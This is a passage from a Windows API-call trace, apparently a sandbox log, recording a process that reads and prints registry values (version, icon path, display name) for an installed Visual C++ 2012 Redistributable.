lpUsedDefaultChar=0x0) returned 13 [0150.703] GetConsoleOutputCP () returned 0x1b5 [0150.703] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EngineVersion", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EngineVersion", lpUsedDefaultChar=0x0) returned 13 [0150.703] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0150.703] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.703] __iob_func () returned 0x7fefd702a80 [0150.703] _fileno (_File=0x7fefd702ab0) returned 1 [0150.703] _errno () returned 0x204bb0 [0150.703] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.703] _errno () returned 0x204bb0 [0150.703] GetFileType (hFile=0x50) returned 0x1 [0150.703] lstrlenW (lpString=" ") returned 4 [0150.703] GetConsoleOutputCP () returned 0x1b5 [0150.704] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.704] GetConsoleOutputCP () returned 0x1b5 [0150.704] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.704] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.704] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.704] __iob_func () returned 0x7fefd702a80 [0150.704] _fileno (_File=0x7fefd702ab0) returned 1 [0150.704] _errno () returned 0x204bb0 [0150.704] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.704] _errno () returned 0x204bb0 [0150.704] GetFileType (hFile=0x50) returned 0x1 [0150.704] lstrlenW (lpString="REG_SZ") returned 6 [0150.704] GetConsoleOutputCP () returned 0x1b5 [0150.704] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.704] GetConsoleOutputCP () returned 0x1b5 [0150.704] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.704] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.704] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.705] __iob_func () returned 0x7fefd702a80 [0150.705] _fileno (_File=0x7fefd702ab0) returned 1 [0150.705] _errno () returned 0x204bb0 [0150.705] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.705] _errno () returned 0x204bb0 [0150.705] GetFileType (hFile=0x50) returned 0x1 [0150.705] lstrlenW (lpString=" ") returned 4 [0150.705] GetConsoleOutputCP () returned 0x1b5 [0150.705] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.705] GetConsoleOutputCP () returned 0x1b5 [0150.705] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.705] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.705] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.705] __iob_func () returned 0x7fefd702a80 [0150.705] _fileno (_File=0x7fefd702ab0) returned 1 [0150.705] _errno () returned 0x204bb0 [0150.705] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.705] _errno () returned 0x204bb0 [0150.705] GetFileType (hFile=0x50) returned 0x1 [0150.705] lstrlenW (lpString="3.6.3542.0") returned 10 [0150.705] GetConsoleOutputCP () returned 0x1b5 [0150.705] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="3.6.3542.0", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0150.705] GetConsoleOutputCP () returned 0x1b5 [0150.706] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="3.6.3542.0", cchWideChar=10, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3.6.3542.0", lpUsedDefaultChar=0x0) returned 10 [0150.706] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 10 [0150.706] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.706] __iob_func () returned 0x7fefd702a80 [0150.706] _fileno (_File=0x7fefd702ab0) returned 1 [0150.706] _errno () returned 0x204bb0 [0150.706] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.706] _errno () returned 0x204bb0 [0150.706] GetFileType (hFile=0x50) returned 0x1 [0150.706] lstrlenW (lpString="\n") returned 1 [0150.706] GetConsoleOutputCP () returned 0x1b5 [0150.706] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.706] GetConsoleOutputCP () returned 0x1b5 [0150.706] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.706] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.706] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.706] GetProcessHeap () returned 0x3c0000 [0150.706] GetProcessHeap () returned 0x3c0000 [0150.706] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30) returned 1 [0150.706] GetProcessHeap () returned 0x3c0000 [0150.706] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c30) returned 0x1a [0150.706] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30 | out: hHeap=0x3c0000) returned 1 [0150.706] RegEnumValueW (in: hKey=0x5c, dwIndex=0x9, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayIcon", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.707] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayIcon", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0xb0) returned 0x0 [0150.707] GetProcessHeap () returned 0x3c0000 [0150.707] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xb2) returned 0x3e1c70 [0150.707] GetProcessHeap () returned 0x3c0000 [0150.707] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0150.707] GetProcessHeap () returned 0x3c0000 [0150.707] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0xb2 [0150.707] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayIcon", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3e1c70, pcbData=0x29f780*=0xb0 | out: pdwType=0x29f700*=0x1, pvData="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe,0", pcbData=0x29f780*=0xae) returned 0x0 [0150.707] __iob_func () returned 0x7fefd702a80 [0150.707] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.707] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.707] _fileno (_File=0x7fefd702ab0) returned 1 [0150.707] _errno () returned 0x204bb0 [0150.707] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.707] _errno () returned 0x204bb0 [0150.707] GetFileType (hFile=0x50) returned 0x1 [0150.707] lstrlenW (lpString=" ") returned 4 [0150.707] GetConsoleOutputCP () returned 0x1b5 [0150.707] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.707] GetConsoleOutputCP () returned 0x1b5 [0150.707] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.707] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.707] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.707] lstrlenW (lpString="DisplayIcon") returned 11 [0150.707] __iob_func () returned 0x7fefd702a80 [0150.707] _fileno (_File=0x7fefd702ab0) returned 1 [0150.707] _errno () returned 0x204bb0 [0150.707] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.708] _errno () returned 0x204bb0 [0150.708] GetFileType (hFile=0x50) returned 0x1 [0150.708] lstrlenW (lpString="DisplayIcon") returned 11 [0150.708] GetConsoleOutputCP () returned 0x1b5 [0150.708] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayIcon", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0150.708] GetConsoleOutputCP () returned 0x1b5 [0150.708] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayIcon", cchWideChar=11, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayIcon", lpUsedDefaultChar=0x0) returned 11 [0150.708] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0150.708] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.708] __iob_func () returned 0x7fefd702a80 [0150.708] _fileno (_File=0x7fefd702ab0) returned 1 [0150.708] _errno () returned 0x204bb0 [0150.708] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.708] _errno () returned 0x204bb0 [0150.708] GetFileType (hFile=0x50) returned 0x1 [0150.708] lstrlenW (lpString=" ") returned 4 [0150.708] GetConsoleOutputCP () returned 0x1b5 [0150.708] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.708] GetConsoleOutputCP () returned 0x1b5 [0150.708] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.708] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.709] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.709] __iob_func () returned 0x7fefd702a80 [0150.709] _fileno (_File=0x7fefd702ab0) returned 1 [0150.709] _errno () returned 0x204bb0 [0150.709] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.709] _errno () returned 0x204bb0 [0150.709] GetFileType (hFile=0x50) returned 0x1 [0150.709] lstrlenW (lpString="REG_SZ") returned 6 [0150.709] GetConsoleOutputCP () returned 0x1b5 [0150.709] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.709] GetConsoleOutputCP () returned 0x1b5 [0150.709] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.709] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.709] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.709] __iob_func () returned 0x7fefd702a80 [0150.709] _fileno (_File=0x7fefd702ab0) returned 1 [0150.709] _errno () returned 0x204bb0 [0150.709] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.709] _errno () returned 0x204bb0 [0150.709] GetFileType (hFile=0x50) returned 0x1 [0150.709] lstrlenW (lpString=" ") returned 4 [0150.709] GetConsoleOutputCP () returned 0x1b5 [0150.709] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.710] GetConsoleOutputCP () returned 0x1b5 [0150.710] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.710] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.710] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.710] __iob_func () returned 0x7fefd702a80 [0150.710] _fileno (_File=0x7fefd702ab0) returned 1 [0150.710] _errno () returned 0x204bb0 [0150.710] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.710] _errno () returned 0x204bb0 [0150.710] GetFileType (hFile=0x50) returned 0x1 [0150.710] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe,0") returned 86 [0150.710] GetConsoleOutputCP () returned 0x1b5 [0150.710] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe,0", cchWideChar=86, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 86 [0150.710] GetConsoleOutputCP () returned 0x1b5 [0150.710] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe,0", cchWideChar=86, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe,0", lpUsedDefaultChar=0x0) returned 86 [0150.710] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 86 [0150.710] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.710] __iob_func () returned 0x7fefd702a80 [0150.710] _fileno (_File=0x7fefd702ab0) returned 1 [0150.710] _errno () returned 0x204bb0 [0150.710] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.710] _errno () returned 0x204bb0 [0150.710] GetFileType (hFile=0x50) returned 0x1 [0150.710] lstrlenW (lpString="\n") returned 1 [0150.711] GetConsoleOutputCP () returned 0x1b5 [0150.711] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.711] GetConsoleOutputCP () returned 0x1b5 [0150.711] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.711] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.711] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.711] GetProcessHeap () returned 0x3c0000 [0150.711] GetProcessHeap () returned 0x3c0000 [0150.711] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0150.711] GetProcessHeap () returned 0x3c0000 [0150.711] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0xb2 [0150.711] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70 | out: hHeap=0x3c0000) returned 1 [0150.711] RegEnumValueW (in: hKey=0x5c, dwIndex=0xa, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.711] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayName", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x7c) returned 0x0 [0150.711] GetProcessHeap () returned 0x3c0000 [0150.711] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x7e) returned 0x3db830 [0150.711] GetProcessHeap () returned 0x3c0000 [0150.711] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0150.711] GetProcessHeap () returned 0x3c0000 [0150.711] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x7e [0150.711] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayName", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3db830, pcbData=0x29f780*=0x7c | out: pdwType=0x29f700*=0x1, pvData="Microsoft Visual C++ 2012 Redistributable (x64) - 11.0.61030", pcbData=0x29f780*=0x7a) returned 0x0 [0150.711] __iob_func () returned 0x7fefd702a80 [0150.711] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.711] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.711] _fileno (_File=0x7fefd702ab0) returned 1 [0150.711] _errno () returned 0x204bb0 [0150.712] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.712] _errno () returned 0x204bb0 [0150.712] GetFileType (hFile=0x50) returned 0x1 [0150.712] lstrlenW (lpString=" ") returned 4 [0150.712] GetConsoleOutputCP () returned 0x1b5 [0150.712] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.712] GetConsoleOutputCP () returned 0x1b5 [0150.712] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.712] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.712] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.712] lstrlenW (lpString="DisplayName") returned 11 [0150.712] __iob_func () returned 0x7fefd702a80 [0150.712] _fileno (_File=0x7fefd702ab0) returned 1 [0150.712] _errno () returned 0x204bb0 [0150.712] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.712] _errno () returned 0x204bb0 [0150.712] GetFileType (hFile=0x50) returned 0x1 [0150.712] lstrlenW (lpString="DisplayName") returned 11 [0150.712] GetConsoleOutputCP () returned 0x1b5 [0150.712] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayName", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0150.712] GetConsoleOutputCP () returned 0x1b5 [0150.713] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayName", cchWideChar=11, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayName", lpUsedDefaultChar=0x0) returned 11 [0150.713] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0150.713] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.713] __iob_func () returned 0x7fefd702a80 [0150.713] _fileno (_File=0x7fefd702ab0) returned 1 [0150.713] _errno () returned 0x204bb0 [0150.713] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.713] _errno () returned 0x204bb0 [0150.713] GetFileType (hFile=0x50) returned 0x1 [0150.713] lstrlenW (lpString=" ") returned 4 [0150.713] GetConsoleOutputCP () returned 0x1b5 [0150.713] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.713] GetConsoleOutputCP () returned 0x1b5 [0150.713] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.713] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.713] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.713] __iob_func () returned 0x7fefd702a80 [0150.713] _fileno (_File=0x7fefd702ab0) returned 1 [0150.713] _errno () returned 0x204bb0 [0150.713] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.713] _errno () returned 0x204bb0 [0150.713] GetFileType (hFile=0x50) returned 0x1 [0150.713] lstrlenW (lpString="REG_SZ") returned 6 [0150.713] GetConsoleOutputCP () returned 0x1b5 [0150.714] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.714] GetConsoleOutputCP () returned 0x1b5 [0150.714] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.714] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.714] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.714] __iob_func () returned 0x7fefd702a80 [0150.714] _fileno (_File=0x7fefd702ab0) returned 1 [0150.714] _errno () returned 0x204bb0 [0150.714] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.714] _errno () returned 0x204bb0 [0150.714] GetFileType (hFile=0x50) returned 0x1 [0150.714] lstrlenW (lpString=" ") returned 4 [0150.714] GetConsoleOutputCP () returned 0x1b5 [0150.714] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.714] GetConsoleOutputCP () returned 0x1b5 [0150.714] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.714] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.714] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.714] __iob_func () returned 0x7fefd702a80 [0150.714] _fileno (_File=0x7fefd702ab0) returned 1 [0150.715] _errno () returned 0x204bb0 [0150.715] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.715] _errno () returned 0x204bb0 [0150.715] GetFileType (hFile=0x50) returned 0x1 [0150.715] lstrlenW (lpString="Microsoft Visual C++ 2012 Redistributable (x64) - 11.0.61030") returned 60 [0150.715] GetConsoleOutputCP () returned 0x1b5 [0150.715] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Visual C++ 2012 Redistributable (x64) - 11.0.61030", cchWideChar=60, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 60 [0150.715] GetConsoleOutputCP () returned 0x1b5 [0150.725] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Visual C++ 2012 Redistributable (x64) - 11.0.61030", cchWideChar=60, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Visual C++ 2012 Redistributable (x64) - 11.0.61030", lpUsedDefaultChar=0x0) returned 60 [0150.725] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 60 [0150.725] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.726] __iob_func () returned 0x7fefd702a80 [0150.726] _fileno (_File=0x7fefd702ab0) returned 1 [0150.726] _errno () returned 0x204bb0 [0150.726] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.726] _errno () returned 0x204bb0 [0150.726] GetFileType (hFile=0x50) returned 0x1 [0150.726] lstrlenW (lpString="\n") returned 1 [0150.726] GetConsoleOutputCP () returned 0x1b5 [0150.726] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, 